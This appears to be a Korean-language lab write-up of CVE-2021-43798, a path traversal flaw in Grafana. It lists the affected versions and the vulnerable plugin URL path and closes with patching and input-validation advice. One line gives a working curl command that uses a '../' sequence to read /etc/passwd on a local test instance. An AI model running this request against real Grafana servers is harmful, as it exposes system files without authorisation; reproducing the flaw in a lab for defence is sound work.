CVE-2021-43798
1. 요약
- Grafana는 데이터 모니터링 및 관리 기능을 지원하는 오픈소스 플랫폼으로, 아래 버전에서 ../과 같은 특수 문자를 사용해 파일 경로를 조작할 수 있는 Path Traversal 취약점이 존재한다.
- 8.0.0 이상, 8.0.7 미만
- 8.1.0 이상, 8.1.8 미만
- 8.2.0 이상, 8.2.7 미만
- 8.3.0
- 취약한 경로는 <grafana_host_url>/public/plugins/<plugin_id>/로, <plugin_id>는 설치된 플러그인의 ID다. 아래 자료를 통해 취약한 경로를 확인할 수 있다.
2. 취약한 환경 구성 및 실행
2.1 사용한 환경
2.2 실행 방법
3. 취약점 재현
- 열린 화면 확인
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd 을 통해 etc/passwd에 접근할 수 있었다.
4. 마무리 (대응 방안)
- 취약점에 영향받는 버전을 사용 중이라면 패치된 버전인 8.3.1, 8.2.7, 8.1.8, 8.0.7 로 업데이트를 진행해야 한다.
- Path Traversal 취약점을 방지하기 위해 허용된 경로만 접근을 허용하는 화이트리스트 방식을 적용하고, 사용자 입력값에 대한 검증 및 경로 정규화를 수행하여 상위 디렉터리 이동(../)과 같은 비정상적인 경로 접근을 제한해야 한다.
참고 자료